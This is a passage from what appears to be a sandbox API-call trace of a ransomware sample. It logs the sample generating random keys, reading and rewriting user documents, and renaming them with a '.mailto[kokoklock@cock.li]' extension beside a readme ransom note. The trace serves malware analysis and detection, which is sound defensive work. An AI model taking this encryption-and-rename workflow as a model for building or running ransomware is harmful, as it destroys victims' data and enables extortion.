Seed=0x1233fcd8) returned 0xd6db325d [0069.565] RtlRandom (in: Seed=0x1233fcd8 | out: Seed=0x1233fcd8) returned 0xb4876a2f [0069.565] RtlRandom (in: Seed=0x1233fcd8 | out: Seed=0x1233fcd8) returned 0x3525b58c [0069.565] RtlRandom (in: Seed=0x1233fcd8 | out: Seed=0x1233fcd8) returned 0x9b66cf65 [0069.565] RtlRandom (in: Seed=0x1233fcd8 | out: Seed=0x1233fcd8) returned 0x52f5561d [0069.565] RtlRandom (in: Seed=0x1233fcd8 | out: Seed=0x1233fcd8) returned 0xbb64fd6e [0069.565] RtlRandom (in: Seed=0x1233fcd8 | out: Seed=0x1233fcd8) returned 0x70cb1f37 [0069.565] RtlRandom (in: Seed=0x1233fcd8 | out: Seed=0x1233fcd8) returned 0xd1a32108 [0069.565] RtlRandom (in: Seed=0x1233fcd8 | out: Seed=0x1233fcd8) returned 0xec1afe95 [0069.565] RtlRandom (in: Seed=0x1233fcd8 | out: Seed=0x1233fcd8) returned 0x89aa96dd [0069.565] RtlRandom (in: Seed=0x1233fcd8 | out: Seed=0x1233fcd8) returned 0xd1027b8 [0069.566] RtlRandom (in: Seed=0x1233fcd8 | out: Seed=0x1233fcd8) returned 0x11e56750 [0069.566] RtlRandom (in: Seed=0x1233fcd8 | out: Seed=0x1233fcd8) returned 0x1f16a7e4 [0069.566] RtlRandom (in: Seed=0x1233fcd8 | out: Seed=0x1233fcd8) returned 0xf01a1d2b [0069.566] RtlRandom (in: Seed=0x1233fcd8 | out: Seed=0x1233fcd8) returned 0x5ef9e869 [0069.566] RtlRandom (in: Seed=0x1233fcd8 | out: Seed=0x1233fcd8) returned 0x26ecc472 [0069.566] RtlRandom (in: Seed=0x1233fcd8 | out: Seed=0x1233fcd8) returned 0x7a8a7db5 [0069.566] RtlRandom (in: Seed=0x1233fcd8 | out: Seed=0x1233fcd8) returned 0xf9a07a12 [0069.566] RtlRandom (in: Seed=0x1233fcd8 | out: Seed=0x1233fcd8) returned 0x5edf4fdd [0069.566] RtlRandom (in: Seed=0x1233fcd8 | out: Seed=0x1233fcd8) returned 0xe8cb5cb [0069.566] RtlRandom (in: Seed=0x1233fcd8 | out: Seed=0x1233fcd8) returned 0x1dd15695 [0069.566] RtlRandom (in: Seed=0x1233fcd8 | out: Seed=0x1233fcd8) returned 0xb01c329c [0069.566] RtlRandom (in: Seed=0x1233fcd8 | out: Seed=0x1233fcd8) returned 0x8fb447c7 [0069.566] RtlRandom (in: Seed=0x1233fcd8 | out: Seed=0x1233fcd8) returned 0x6d3976ba [0069.566] RtlRandom (in: Seed=0x1233fcd8 | out: Seed=0x1233fcd8) returned 0xe1e770e1 [0069.566] RtlRandom (in: Seed=0x1233fcd8 | out: Seed=0x1233fcd8) returned 0xd4d1c948 [0069.566] RtlRandom (in: Seed=0x1233fcd8 | out: Seed=0x1233fcd8) returned 0x8fe9e53 [0069.577] SetFilePointerEx (in: hFile=0x770, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.577] ReadFile (in: hFile=0x770, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1233fca4, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x1233fca4*=0x4096, lpOverlapped=0x0) returned 1 [0069.577] SetFilePointerEx (in: hFile=0x770, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.577] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0069.577] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479c40 [0069.577] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342be10 [0069.577] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342be10) returned 1 [0069.577] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3486220 [0069.578] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bbe0 [0069.578] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bf78 [0069.578] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bf78) returned 1 [0069.578] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479c40) returned 1 [0069.578] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0069.578] WriteFile (in: hFile=0x770, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1233fca4, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0x1233fca4*=0x4096, lpOverlapped=0x0) returned 1 [0069.578] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0069.578] SetFilePointerEx (in: hFile=0x770, liDistanceToMove=0x443c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.578] WriteFile (in: hFile=0x770, lpBuffer=0x342bbe0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1233fcdc, lpOverlapped=0x0 | out: lpBuffer=0x342bbe0*, lpNumberOfBytesWritten=0x1233fcdc*=0x20, lpOverlapped=0x0) returned 1 [0069.578] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bbe0) returned 1 [0069.578] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0069.578] WriteFile (in: hFile=0x770, lpBuffer=0x342baf0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1233fcf0, lpOverlapped=0x0 | out: lpBuffer=0x342baf0*, lpNumberOfBytesWritten=0x1233fcf0*=0x8, lpOverlapped=0x0) returned 1 [0069.579] WriteFile (in: hFile=0x770, lpBuffer=0x1233fd08*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1233fcf0, lpOverlapped=0x0 | out: lpBuffer=0x1233fd08*, lpNumberOfBytesWritten=0x1233fcf0*=0x4, lpOverlapped=0x0) returned 1 [0069.579] WriteFile (in: hFile=0x770, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1233fcf0, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1233fcf0*=0x4, lpOverlapped=0x0) returned 1 [0069.579] WriteFile (in: hFile=0x770, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1233fcf0, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1233fcf0*=0x6c, lpOverlapped=0x0) returned 1 [0069.579] WriteFile (in: hFile=0x770, lpBuffer=0x342bb18*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1233fcf0, lpOverlapped=0x0 | out: lpBuffer=0x342bb18*, lpNumberOfBytesWritten=0x1233fcf0*=0x20, lpOverlapped=0x0) returned 1 [0069.579] WriteFile (in: hFile=0x770, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1233fcf0, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1233fcf0*=0x4, lpOverlapped=0x0) returned 1 [0069.579] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bb18) returned 1 [0069.579] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bd48) returned 1 [0069.579] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342baf0) returned 1 [0069.579] CloseHandle (hObject=0x770) returned 1 [0069.580] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8e) returned 0x347bd38 [0069.580] wcscpy (in: _Dest=0x347bd38, _Source="C:\\Users\\FD1HVy\\Documents\\PM6HcM.docx" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\PM6HcM.docx") returned="C:\\Users\\FD1HVy\\Documents\\PM6HcM.docx" [0069.580] wcscat (in: _Dest=0x347bd38, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\PM6HcM.docx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\PM6HcM.docx.mailto[kokoklock@cock.li].d0e731" [0069.580] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\PM6HcM.docx" (normalized: "c:\\users\\fd1hvy\\documents\\pm6hcm.docx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\PM6HcM.docx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\pm6hcm.docx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0069.581] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\PM6HcM.docx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0069.581] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347bd38) returned 1 [0069.581] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\PM6HcM.docx", dwFileAttributes=0x20) returned 0 [0069.581] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5a) returned 0x3427618 [0069.581] wcscpy (in: _Dest=0x3427618, _Source="C:\\Users\\FD1HVy\\Documents\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0069.581] wcscat (in: _Dest=0x3427618, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt" [0069.581] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\d0e731-readme.txt")) returned 0x20 [0069.581] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427618) returned 1 [0069.581] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3431200) returned 1 [0069.581] RtlExitUserThread (Status=0x1) Thread: id = 428 os_tid = 0xd00 [0069.582] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\SQLEej.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\sqleej.pptx")) returned 0x20 [0069.583] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\SQLEej.pptx", dwFileAttributes=0x20) returned 1 [0069.583] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\SQLEej.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\sqleej.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x770 [0069.583] GetFileSizeEx (in: hFile=0x770, lpFileSize=0x123bf8cc | out: lpFileSize=0x123bf8cc*=47311) returned 1 [0069.583] SetFilePointerEx (in: hFile=0x770, liDistanceToMove=0xb8cb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.583] ReadFile (in: hFile=0x770, lpBuffer=0x123bf8a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x123bf89c, lpOverlapped=0x0 | out: lpBuffer=0x123bf8a0*, lpNumberOfBytesRead=0x123bf89c*=0x4, lpOverlapped=0x0) returned 1 [0069.584] SetFilePointerEx (in: hFile=0x770, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.584] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bc08 [0069.584] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bb18 [0069.584] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bf78 [0069.584] NtQuerySystemTime (in: CurrentTime=0x123bf878 | out: CurrentTime=0x123bf878*=132121176274785475) returned 0x0 [0069.584] RtlRandom (in: Seed=0x123bf884 | out: Seed=0x123bf884) returned 0xf6e3797f [0069.584] RtlRandom (in: Seed=0x123bf884 | out: Seed=0x123bf884) returned 0x26f6524b [0069.584] RtlRandom (in: Seed=0x123bf884 | out: Seed=0x123bf884) returned 0x132771ee [0069.584] RtlRandom (in: Seed=0x123bf884 | out: Seed=0x123bf884) returned 0x26826e7f [0069.584] RtlRandom (in: Seed=0x123bf884 | out: Seed=0x123bf884) returned 0xc31a62b [0069.584] RtlRandom (in: Seed=0x123bf884 | out: Seed=0x123bf884) returned 0x59a46198 [0069.584] RtlRandom (in: Seed=0x123bf884 | out: Seed=0x123bf884) returned 0x90fda7b8 [0069.584] RtlRandom (in: Seed=0x123bf884 | out: Seed=0x123bf884) returned 0xaa6d4b18 [0069.584] RtlRandom (in: Seed=0x123bf884 | out: Seed=0x123bf884) returned 0xa49d968d [0069.584] RtlRandom (in: Seed=0x123bf884 | out: Seed=0x123bf884) returned 0xdeebe74b [0069.584] RtlRandom (in: Seed=0x123bf884 | out: Seed=0x123bf884) returned 0xf957ca1 [0069.584] RtlRandom (in: Seed=0x123bf884 | out: Seed=0x123bf884) returned 0xb72d7bf7 [0069.584] RtlRandom (in: Seed=0x123bf884 | out: Seed=0x123bf884) returned 0xb6011c74 [0069.584] RtlRandom (in: Seed=0x123bf884 | out: Seed=0x123bf884) returned 0x69ad5594 [0069.584] RtlRandom (in: Seed=0x123bf884 | out: Seed=0x123bf884) returned 0x17ce8645 [0069.584] RtlRandom (in: Seed=0x123bf884 | out: Seed=0x123bf884) returned 0x9b034265 [0069.584] RtlRandom (in: Seed=0x123bf884 | out: Seed=0x123bf884) returned 0x5a2ae5ea [0069.584] RtlRandom (in: Seed=0x123bf884 | out: Seed=0x123bf884) returned 0xfdbadb6c [0069.584] RtlRandom (in: Seed=0x123bf884 | out: Seed=0x123bf884) returned 0x2bd4e300 [0069.584] RtlRandom (in: Seed=0x123bf884 | out: Seed=0x123bf884) returned 0x28c24822 [0069.584] RtlRandom (in: Seed=0x123bf884 | out: Seed=0x123bf884) returned 0x126b28ca [0069.585] RtlRandom (in: Seed=0x123bf884 | out: Seed=0x123bf884) returned 0xe57c8fea [0069.585] RtlRandom (in: Seed=0x123bf884 | out: Seed=0x123bf884) returned 0xcb41e1a4 [0069.585] RtlRandom (in: Seed=0x123bf884 | out: Seed=0x123bf884) returned 0xc2e32700 [0069.585] RtlRandom (in: Seed=0x123bf884 | out: Seed=0x123bf884) returned 0x93c1e16a [0069.585] RtlRandom (in: Seed=0x123bf884 | out: Seed=0x123bf884) returned 0x3409de44 [0069.585] RtlRandom (in: Seed=0x123bf884 | out: Seed=0x123bf884) returned 0x26b3de2a [0069.585] RtlRandom (in: Seed=0x123bf884 | out: Seed=0x123bf884) returned 0x6e071860 [0069.585] RtlRandom (in: Seed=0x123bf884 | out: Seed=0x123bf884) returned 0x36a03eb0 [0069.585] RtlRandom (in: Seed=0x123bf884 | out: Seed=0x123bf884) returned 0xbe50b83c [0069.585] RtlRandom (in: Seed=0x123bf884 | out: Seed=0x123bf884) returned 0x70ec6cc6 [0069.585] RtlRandom (in: Seed=0x123bf884 | out: Seed=0x123bf884) returned 0xb598e6ba [0069.595] SetFilePointerEx (in: hFile=0x770, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.595] ReadFile (in: hFile=0x770, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x123bf850, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x123bf850*=0x4096, lpOverlapped=0x0) returned 1 [0069.596] SetFilePointerEx (in: hFile=0x770, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.596] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0069.596] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479c40 [0069.596] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342be10 [0069.596] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342be10) returned 1 [0069.596] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3486220 [0069.596] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bbe0 [0069.596] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bfa0 [0069.596] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bfa0) returned 1 [0069.596] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479c40) returned 1 [0069.596] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0069.596] WriteFile (in: hFile=0x770, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x123bf850, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0x123bf850*=0x4096, lpOverlapped=0x0) returned 1 [0069.597] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0069.597] SetFilePointerEx (in: hFile=0x770, liDistanceToMove=0xb8cf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.597] WriteFile (in: hFile=0x770, lpBuffer=0x342bbe0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x123bf888, lpOverlapped=0x0 | out: lpBuffer=0x342bbe0*, lpNumberOfBytesWritten=0x123bf888*=0x20, lpOverlapped=0x0) returned 1 [0069.597] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bbe0) returned 1 [0069.597] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0069.597] WriteFile (in: hFile=0x770, lpBuffer=0x342baf0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x123bf89c, lpOverlapped=0x0 | out: lpBuffer=0x342baf0*, lpNumberOfBytesWritten=0x123bf89c*=0x8, lpOverlapped=0x0) returned 1 [0069.597] WriteFile (in: hFile=0x770, lpBuffer=0x123bf8b4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x123bf89c, lpOverlapped=0x0 | out: lpBuffer=0x123bf8b4*, lpNumberOfBytesWritten=0x123bf89c*=0x4, lpOverlapped=0x0) returned 1 [0069.597] WriteFile (in: hFile=0x770, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x123bf89c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x123bf89c*=0x4, lpOverlapped=0x0) returned 1 [0069.597] WriteFile (in: hFile=0x770, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x123bf89c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x123bf89c*=0x6c, lpOverlapped=0x0) returned 1 [0069.597] WriteFile (in: hFile=0x770, lpBuffer=0x342bb18*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x123bf89c, lpOverlapped=0x0 | out: lpBuffer=0x342bb18*, lpNumberOfBytesWritten=0x123bf89c*=0x20, lpOverlapped=0x0) returned 1 [0069.597] WriteFile (in: hFile=0x770, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x123bf89c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x123bf89c*=0x4, lpOverlapped=0x0) returned 1 [0069.597] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bb18) returned 1 [0069.597] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bd48) returned 1 [0069.598] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342baf0) returned 1 [0069.598] CloseHandle (hObject=0x770) returned 1 [0069.599] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8e) returned 0x347bd38 [0069.599] wcscpy (in: _Dest=0x347bd38, _Source="C:\\Users\\FD1HVy\\Documents\\SQLEej.pptx" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\SQLEej.pptx") returned="C:\\Users\\FD1HVy\\Documents\\SQLEej.pptx" [0069.599] wcscat (in: _Dest=0x347bd38, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\SQLEej.pptx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\SQLEej.pptx.mailto[kokoklock@cock.li].d0e731" [0069.599] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\SQLEej.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\sqleej.pptx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\SQLEej.pptx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sqleej.pptx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0069.600] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\SQLEej.pptx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0069.600] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347bd38) returned 1 [0069.600] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\SQLEej.pptx", dwFileAttributes=0x20) returned 0 [0069.600] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5a) returned 0x3427618 [0069.600] wcscpy (in: _Dest=0x3427618, _Source="C:\\Users\\FD1HVy\\Documents\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0069.600] wcscat (in: _Dest=0x3427618, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt" [0069.601] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\d0e731-readme.txt")) returned 0x20 [0069.601] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427618) returned 1 [0069.601] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34311a8) returned 1 [0069.601] RtlExitUserThread (Status=0x1) Thread: id = 429 os_tid = 0x654 [0069.602] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x52) returned 0x3480360 [0069.602] wcscpy (in: _Dest=0x3480360, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby" [0069.602] wcscat (in: _Dest=0x3480360, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\" [0069.602] wcscat (in: _Dest=0x3480360, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\*") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\*" [0069.602] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x342a138 [0069.602] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\*", lpFindFileData=0x342a138 | out: lpFindFileData=0x342a138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x847a8340, ftCreationTime.dwHighDateTime=0x1d4d4ce, ftLastAccessTime.dwLowDateTime=0x9b1fcd10, ftLastAccessTime.dwHighDateTime=0x1d4d403, ftLastWriteTime.dwLowDateTime=0x9b1fcd10, ftLastWriteTime.dwHighDateTime=0x1d4d403, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433d68 [0069.602] wcscmp (_String1=".", _String2=".") returned 0 [0069.602] FindNextFileW (in: hFindFile=0x3433d68, lpFindFileData=0x342a138 | out: lpFindFileData=0x342a138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x847a8340, ftCreationTime.dwHighDateTime=0x1d4d4ce, ftLastAccessTime.dwLowDateTime=0x9b1fcd10, ftLastAccessTime.dwHighDateTime=0x1d4d403, ftLastWriteTime.dwLowDateTime=0x9b1fcd10, ftLastWriteTime.dwHighDateTime=0x1d4d403, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.603] wcscmp (_String1="..", _String2=".") returned 1 [0069.603] wcscmp (_String1="..", _String2="..") returned 0 [0069.603] FindNextFileW (in: hFindFile=0x3433d68, lpFindFileData=0x342a138 | out: lpFindFileData=0x342a138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x45f7af50, ftCreationTime.dwHighDateTime=0x1d4c8ab, ftLastAccessTime.dwLowDateTime=0x6c797030, ftLastAccessTime.dwHighDateTime=0x1d4c9f7, ftLastWriteTime.dwLowDateTime=0x6c797030, ftLastWriteTime.dwHighDateTime=0x1d4c9f7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BPtEQ1wNKh", cAlternateFileName="BPTEQ1~1")) returned 1 [0069.603] wcscmp (_String1="BPtEQ1wNKh", _String2=".") returned 1 [0069.603] wcscmp (_String1="BPtEQ1wNKh", _String2="..") returned 1 [0069.603] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x64) returned 0x347e570 [0069.603] wcscpy (in: _Dest=0x347e570, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby" [0069.603] wcscat (in: _Dest=0x347e570, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\" [0069.603] wcscat (in: _Dest=0x347e570, _Source="BPtEQ1wNKh" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh" [0070.460] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x347e570, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x774 [0070.460] FindNextFileW (in: hFindFile=0x3433d68, lpFindFileData=0x342a138 | out: lpFindFileData=0x342a138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb271be0, ftCreationTime.dwHighDateTime=0x1d4cfc4, ftLastAccessTime.dwLowDateTime=0x6bfdfa10, ftLastAccessTime.dwHighDateTime=0x1d4d5e9, ftLastWriteTime.dwLowDateTime=0x6bfdfa10, ftLastWriteTime.dwHighDateTime=0x1d4d5e9, nFileSizeHigh=0x0, nFileSizeLow=0x14e53, dwReserved0=0x0, dwReserved1=0x0, cFileName="gfAAkZLyyggYVX.ots", cAlternateFileName="GFAAKZ~1.OTS")) returned 1 [0070.460] wcscmp (_String1="gfAAkZLyyggYVX.ots", _String2=".") returned 1 [0070.460] wcscmp (_String1="gfAAkZLyyggYVX.ots", _String2="..") returned 1 [0070.460] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x74) returned 0x33cd070 [0070.460] wcscpy (in: _Dest=0x33cd070, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby" [0070.460] wcscat (in: _Dest=0x33cd070, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\" [0070.460] wcscat (in: _Dest=0x33cd070, _Source="gfAAkZLyyggYVX.ots" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\gfAAkZLyyggYVX.ots") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\gfAAkZLyyggYVX.ots" [0070.461] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33cd070, 